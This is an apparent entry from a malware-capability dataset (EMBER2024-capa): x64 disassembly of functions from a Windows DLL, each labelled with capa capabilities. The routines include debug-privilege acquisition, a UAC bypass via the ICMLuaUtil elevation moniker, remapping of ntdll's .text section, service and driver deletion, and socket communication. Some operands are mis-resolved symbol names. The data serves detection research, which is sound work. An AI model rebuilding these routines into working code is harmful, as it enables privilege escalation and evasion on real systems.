joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180014a90
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x3e0]
sub rsp, 0x4e0
xor r12d, r12d
mov rbx, rdx
mov rdi, rcx
test rcx, rcx
je 0x180014b66
test rdx, rdx
je 0x180014b66
lea rdx, [rbp - 0x10]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsW]
test eax, eax
je 0x180014b5a
movzx eax, word [rbp - 0x10]
test ax, ax
je 0x180014b5a
mov esi, r12d
lea r14, [rbp - 0xe]
mov word [rbp + 0x410], ax
lea rdx, [rsp + 0x20]
movzx eax, word [r14]
lea rcx, [rbp + 0x410]
mov r8d, 0x64
mov word [rbp + 0x412], ax
mov word [rbp + 0x414], r12w
call qword [sym.imp.KERNEL32.DLL_QueryDosDeviceW]
test eax, eax
je 0x180014b66
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
movsxd r15, eax
lea rdx, [rsp + 0x20]
mov r8, r15
mov rcx, rdi
call qword [sym.imp.ntdll.dll_wcsncmp]
test eax, eax
je 0x180014b84
movzx eax, word [rbp + rsi*2 - 8]
add rsi, 4
add r14, 8
test ax, ax
jne 0x180014aef
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
xor eax, eax
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
lea rdx, [rbp + 0x410]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea rdx, [rdi + r15*2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov eax, 1
jmp 0x180014b68

Function at 0x180014ba8
Capabilities:
Acquire debug privileges
Enumerate process modules
Get process image filename

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x820
mov rdi, rdx
mov ebx, ecx
mov edx, 1
lea rcx, str.SeDebugPrivilege
call fcn.1800146f8
mov edx, 1
lea rcx, str.SeTcbPrivilege
call fcn.1800146f8
and qword [rsp + 0x848], 0
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x800
call sub.ntdll.dll_memset
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180014c7c
and dword [rsp + 0x840], 0
lea r9, [rsp + 0x840]
mov r8d, 8
lea rdx, [rsp + 0x848]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_K32EnumProcessModules]
mov r8d, 0x400
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_K32GetProcessImageFileNameW]
test eax, eax
jne 0x180014c61
lea rdx, [0x180058758]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
jmp 0x180014c6e
mov rdx, rdi
lea rcx, [rsp + 0x20]
call fcn.180014a90
test rbx, rbx
je 0x180014c7c
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rbx, qword [rsp + 0x830]
xor eax, eax
add rsp, 0x820
pop rdi
ret
Function at 0x180014e70
Capabilities:
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x180014ea2
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x180014ef8
mov r8d, 0xf01ff
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rsi, rax
test rax, rax
jne 0x180014ec6
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
jmp 0x180014eed
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x180014ee2
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
jmp 0x180014ee4
xor ebx, ebx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180014f08
Capabilities:
Enumerate services

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
xor ebx, ebx
mov rbp, rcx
xor edx, edx
mov dword [rax + 0x18], ebx
xor ecx, ecx
mov dword [rax + 0x10], ebx
lea r8d, [rbx + 5]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x180015004
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x88]
mov qword [rsp + 0x40], rbx
lea r9d, [rbx + 3]
mov qword [rsp + 0x38], rax
lea r8d, [rbx + 0x30]
lea rax, [rsp + 0x90]
xor edx, edx
mov qword [rsp + 0x30], rax
mov rcx, rsi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
mov r14d, dword [rsp + 0x90]
add r14d, 0x38
mov ecx, r14d
mov r15d, r14d
call qword [sym.imp.msvcrt.dll_malloc]
mov rdi, rax
test rax, rax
je 0x180015004
mov r8d, r15d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ntdll.dll_memset]
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x88]
mov qword [rsp + 0x40], rbx
lea r9d, [rbx + 3]
mov qword [rsp + 0x38], rax
lea r8d, [rbx + 0x30]
lea rax, [rsp + 0x90]
xor edx, edx
mov qword [rsp + 0x30], rax
mov rcx, rsi
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
mov rcx, rsi
test eax, eax
jne 0x18001501a
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_free]
xor eax, eax
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, ebx
cmp dword [rsp + 0x88], ebx
jbe 0x18001505d
mov eax, esi
mov rdx, rbp
imul r14, rax, 0x38
mov rcx, qword [r14 + rdi]
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x18001504f
inc esi
cmp esi, dword [rsp + 0x88]
jb 0x18001502b
jmp 0x18001505d
mov ebx, dword [r14 + rdi + 0x2c]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_free]
mov eax, ebx
jmp 0x180015006
Function at 0x180015380
Capabilities:
Bypass uac via icmluautil

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rbp
lea rbp, [rsp - 0x7b0]
sub rsp, 0x8b0
mov rbx, rcx
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x208
call sub.ntdll.dll_memset
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rbp - 0x80]
call fcn.180014888
lea rdx, str.svchost.exe
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
call fcn.180015064
and qword [rbp + 0x7c8], 0
lea rdx, [rsp + 0x30]
xorps xmm0, xmm0
lea rcx, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
xorps xmm1, xmm1
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rdx, [rsp + 0x40]
lea rcx, str.6EDD6D74_C007_4E75_B76A_E5740995E24C
call qword [sym.imp.ole32.dll_IIDFromString]
xor edx, edx
lea rcx, [rbp + 0x190]
mov r8d, 0x208
call sub.ntdll.dll_memset
xor edx, edx
lea rcx, [rbp + 0x3a0]
mov r8d, 0x410
call sub.ntdll.dll_memset
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov r8d, 0x104
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ole32.dll_StringFromGUID2]
lea r8, [rbp + 0x190]
lea rdx, str.Elevation:Administrator_new:_s
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.USER32.dll_wsprintfW]
test eax, eax
js 0x1800154e1
xor edx, edx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x30]
call qword [sym.imp.ntdll.dll_memset]
and qword [rsp + 0x78], 0
lea r9, [rbp + 0x7c8]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x50], gethostbyname
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x64], 4
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.ole32.dll_CoGetObject]
test eax, eax
js 0x1800154e1
mov rcx, qword [rbp + 0x7c8]
xor r9d, r9d
and dword [rsp + 0x28], 0
xor r8d, r8d
and dword [rsp + 0x20], 0
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x7c8]
test rcx, rcx
je 0x1800154f3
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rbx, qword [rsp + 0x8c0]
mov eax, 1
add rsp, 0x8b0
pop rbp
ret

Function at 0x18001550c
Capabilities:
Delete service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x180015539
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x18001558d
lea rdx, [rbx + 0x670]
mov r8d, 0xf01ff
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
jne 0x18001556c
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
jmp 0x18001558d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x180015531
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180015598
Capabilities:
Delete file
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x978]
sub rsp, 0xa70
mov rdi, rcx
lea rbx, [rcx + 0x864]
mov r14d, 0x208
lea rcx, [rsp + 0x20]
mov r8d, r14d
xor edx, edx
call sub.ntdll.dll_memset
lea rsi, str._s_s
mov r8, rbx
mov rdx, rsi
lea r9, [rdi + 0x92c]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, r14d
lea rcx, [rbp + 0x760]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, [rdi + 0x990]
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp + 0x760]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, r14d
lea rcx, [rbp + 0x550]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, [rdi + 0x9f4]
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp + 0x550]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, r14d
lea rcx, [rbp + 0x130]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, str.install.cfg
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp + 0x130]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, r14d
lea rcx, [rbp + 0x340]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, str.temp.key
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp + 0x340]
call qword [sym.imp.USER32.dll_wsprintfW]
mov ebx, 2
lea rcx, [rsp + 0x20]
mov edx, ebx
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov edx, ebx
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov edx, ebx
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
cmp dword [rdi + 0xa80], 0
je 0x18001573a
mov edx, ebx
lea rcx, [rbp + 0x550]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea rcx, [rbp + 0x550]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov edx, ebx
lea rcx, [rbp + 0x760]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea rcx, [rbp + 0x760]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
lea r11, [rsp + 0xa70]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18001575c
Capabilities:
Delete service
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x440
mov rbx, rcx
mov edi, 0x208
mov r8d, edi
lea rcx, [rsp + 0x230]
xor edx, edx
call sub.ntdll.dll_memset
lea rdx, [rbx + 0x670]
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [0x1800588f8]
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov r8d, edi
lea rcx, [rsp + 0x20]
xor edx, edx
call sub.ntdll.dll_memset
mov edx, 0x64
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x1800157db
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rdx, str.drivers_
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [rbx + 0x670]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, str..sys
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x180015831
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x180015892
mov r8d, 0xf01ff
lea rdx, [rsp + 0x230]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
jne 0x180015865
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
jmp 0x180015892
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x18001587c
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
jmp 0x18001587e
xor esi, esi
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1800158a8
Capabilities:
Allocate or change rwx memory
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x198]
sub rsp, 0x270
xorps xmm0, xmm0
lea rcx, [0x1800581a8]
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
xor r12d, r12d
mov rbx, rax
test rax, rax
je 0x180015a7b
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea r9d, [r12 + 0x18]
mov rdx, rbx
mov rcx, rax
lea r8, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_K32GetModuleInformation]
mov rsi, qword [rsp + 0x40]
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x208
call sub.ntdll.dll_memset
mov edx, 0x104
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
je 0x180015a7b
lea rdx, str._ntdll.dll
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov qword [rsp + 0x30], r12
lea r13d, [r12 + 1]
mov r8d, r13d
mov dword [rsp + 0x28], r12d
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
test rax, rax
je 0x180015a7b
mov qword [rsp + 0x28], r12
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r12d
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_CreateFileMappingW]
test rax, rax
je 0x180015a7b
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor r8d, r8d
lea edx, [r12 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov r15, rax
test rax, rax
je 0x180015a7b
movsxd rbx, dword [rsi + 0x3c]
movzx edi, r12w
add rbx, rsi
cmp r12w, word [rbx + 6]
jae 0x180015a7b
movzx ecx, word [rbx + 0x14]
add rcx, rbx
movzx eax, di
lea rdx, [rax + rax*4]
lea r14, [rcx + rdx*8]
lea rcx, [r14 + 0x18]
lea rdx, str..text
call qword [sym.imp.ntdll.dll_strcmp]
test eax, eax
jne 0x180015a6d
mov ecx, dword [r14 + 0x24]
lea r9, [rbp + 0x1a0]
mov edx, dword [r14 + 0x20]
lea r8d, [rax + 0x40]
add rcx, rsi
mov dword [rbp + 0x1a0], r12d
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov eax, dword [r14 + 0x24]
mov r8d, dword [r14 + 0x20]
lea rdx, [rax + r15]
lea rcx, [rax + rsi]
call qword [sym.imp.ntdll.dll_memcpy]
mov ecx, dword [r14 + 0x24]
lea r9, [rbp + 0x1a0]
mov edx, dword [r14 + 0x20]
add rcx, rsi
mov r8d, dword [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
add di, r13w
cmp di, word [rbx + 6]
jb 0x1800159ee
lea r11, [rsp + 0x270]
xor eax, eax
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x180016638
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r15
sub rsp, 0x40
xor eax, eax
mov ebp, edx
mov r9d, 4
mov edi, r8d
mov r10d, r9d
mov ebx, ecx
shl r10d, cl
mov r8d, 0x1000
cmp ecx, 8
cmovle eax, r10d
xor ecx, ecx
movsxd rdx, eax
add rdx, 0x28
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x18001672a
and dword [rax + 0x10], 0
mov r15d, 1
and dword [rax + 0x18], 0
and dword [rax + 0x1c], 0
and dword [rax + 0x20], 0
and dword [rax + 0x24], 0
movzx ecx, bx
mov word [rax + 0xe], cx
imul ecx, ebp
mov dword [rax], 0x28
mov dword [rax + 4], ebp
mov dword [rax + 8], edi
mov word [rax + 0xc], r15w
add ecx, 0x1f
sar ecx, 3
and ecx, 0xfffffffc
imul ecx, edi
mov dword [rax + 0x14], ecx
cmp ebx, 0x10
jge 0x18001672a
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r8d, r15d
mov edx, r15d
mov rcx, rax
mov rdi, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
and dword [rsp + 0x30], 0
xor r9d, r9d
mov rdx, rax
mov qword [rsp + 0x28], rsi
and qword [rsp + 0x20], 0
xor r8d, r8d
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.GDI32.dll_GetDIBits]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, rbx
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rbx, qword [rsp + 0x50]
mov rax, rsi
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r15
ret
Function at 0x180019178
Capabilities:
Connect socket
Resolve dns
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xb0
and qword [rbp - 0x11], 0
xorps xmm0, xmm0
and qword [rbp + 0xf], 0
mov esi, r8d
mov r8d, reloc.WS2_32.dll_recvfrom
mov dword [rbp + 0x67], 0x10400
mov rdi, rdx
mov rbx, rcx
movups xmmword [rbp + 0x17], xmm0
lea r14d, [r8 - 0xf]
mov edx, r14d
mov ecx, r14d
movups xmmword [rbp + 0x27], xmm0
movups xmmword [rbp + 0x37], xmm0
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx], rax
cmp rax, 0xffffffffffffffff
jne 0x1800191e5
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x18001932f
xor edx, edx
lea rcx, [rbp + 0x17]
lea r8d, [rdx + 0x30]
call qword [sym.imp.ntdll.dll_memset]
lea r9, [rbp - 0x11]
mov dword [rbp + 0x1b], r14d
lea r8, [rbp + 0x17]
mov dword [rbp + 0x1f], r14d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_getaddrinfo]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x180019225
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x18001932f
cmp qword [rbp - 0x11], 0
je 0x18001921a
movzx ecx, si
mov word [rbp + 7], r14w
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 9], ax
mov r8d, reloc.WS2_32.dll_recv
mov rax, qword [rbp - 0x11]
lea rdx, [rbp + 7]
mov rcx, qword [rax + 0x20]
mov eax, dword [rcx + 4]
mov rcx, qword [rbx]
mov dword [rbp + 0xb], eax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1800191da
mov rcx, qword [rbx]
lea r9, [rbp + 0x67]
mov esi, 0xffff
mov r14d, 4
mov edx, esi
mov dword [rsp + 0x20], r14d
mov r8d, 0x1002
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rbx]
lea r9, [rbp + 0x67]
mov r8d, 0x1001
mov dword [rsp + 0x20], r14d
mov edx, esi
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rbx]
lea edi, [r14 - 3]
lea r9, [rbp - 0x19]
mov dword [rbp - 0x19], edi
lea r8d, [r14 + 4]
mov dword [rsp + 0x20], r14d
mov edx, esi
call qword [sym.imp.WS2_32.dll_setsockopt]
and qword [rsp + 0x40], 0
lea r9d, [r14 + 8]
and qword [rsp + 0x38], 0
lea r8, [rbp - 9]
mov rcx, qword [rbx]
mov eax, 0x2710
and dword [rbp - 0x15], 0
mov edx, 0x98000004
mov dword [rbp - 5], eax
mov dword [rbp - 1], eax
lea rax, [rbp - 0x15]
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov dword [rbp - 9], edi
call qword [sym.imp.WS2_32.dll_WSAIoctl]
mov rcx, qword [rbx]
lea r9, [rbp + 0x7f]
lea r8d, [r14 + 0x7c]
mov dword [rbp + 0x7f], 0xa0001
mov edx, esi
mov dword [rsp + 0x20], r14d
call qword [sym.imp.WS2_32.dll_setsockopt]
xor eax, eax
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x180019348
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rdx
mov esi, r8d
mov edx, 0x48
mov rbx, rcx
call qword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
je 0x180019378
xor eax, eax
jmp 0x1800193c3
lea rcx, [rbx + 0x18]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rcx, qword [rbx]
xor r9d, r9d
mov r8d, esi
mov rdx, rbp
call qword [sym.imp.WS2_32.dll_send]
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, 0x48
mov rcx, rbx
mov esi, eax
call qword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
je 0x1800193b7
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitThread]
lea rcx, [rbx + 0x18]
call qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1800193d8
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
and dword [rbp + 0x20], 0
mov rbx, rdx
mov r14d, r8d
mov rdi, rcx
mov rcx, rbx
xor edx, edx
mov r8d, 0x1000
call qword [sym.imp.ntdll.dll_memset]
and dword [rbp - 0x2c], 0
lea rsi, [rdi + 8]
and dword [rsi], 0
xor r9d, r9d
and qword [rbp - 0x20], 0
xorps xmm0, xmm0
xor r8d, r8d
mov qword [rbp - 0x28], rbx
xor ecx, ecx
mov dword [rbp - 0x30], 0x1000
lea edx, [r9 + 1]
movdqu xmmword [rbp - 0x18], xmm0
call qword [sym.imp.KERNEL32.DLL_CreateEventW]
and qword [rsp + 0x30], 0
lea rdx, [rbp - 0x30]
mov rcx, qword [rdi]
mov r9, rsi
mov qword [rbp - 8], rax
mov r8d, 1
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_WSARecv]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp eax, 0x3e5
jne 0x1800194c6
xor r8d, r8d
lea rdx, [rbp - 8]
mov r9d, r14d
lea ecx, [r8 + 1]
call qword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
test eax, eax
je 0x1800194a2
cmp eax, 0x102
jne 0x1800194c6
jmp 0x1800194be
mov rcx, qword [rdi]
lea rax, [rbp + 0x20]
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov r8, rsi
lea rdx, [rbp - 0x20]
call qword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x1800194d5
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea r11, [rsp + 0x70]
mov eax, ebx
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x18001aa50
Capabilities:
Enumerate gui resources

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x60
mov rsi, qword [rcx]
mov r14, rdx
mov rbx, rcx
call fcn.180003698
mov rcx, qword [rbx + 0x58]
mov rdx, rax
mov rbp, rax
call qword [sym.imp.USER32.dll_EnumWindows]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rax
mov rcx, rbp
mov dword [rsp + 0x54], 0x2072024
mov dword [rsp + 0x44], 0x12001
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
call qword [rbp + 0x30]
and dword [rsp + 0x4c], 0
add eax, 8
and dword [rsp + 0x50], 0
mov dword [rsp + 0x48], eax
call fcn.180003698
mov rcx, rax
mov rdi, rax
call qword [rax + 0x18]
mov r8d, gethostname
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [rdi + 0x28]
xor edx, edx
mov rcx, r14
call qword [r14 + gethostname]
mov r8d, 8
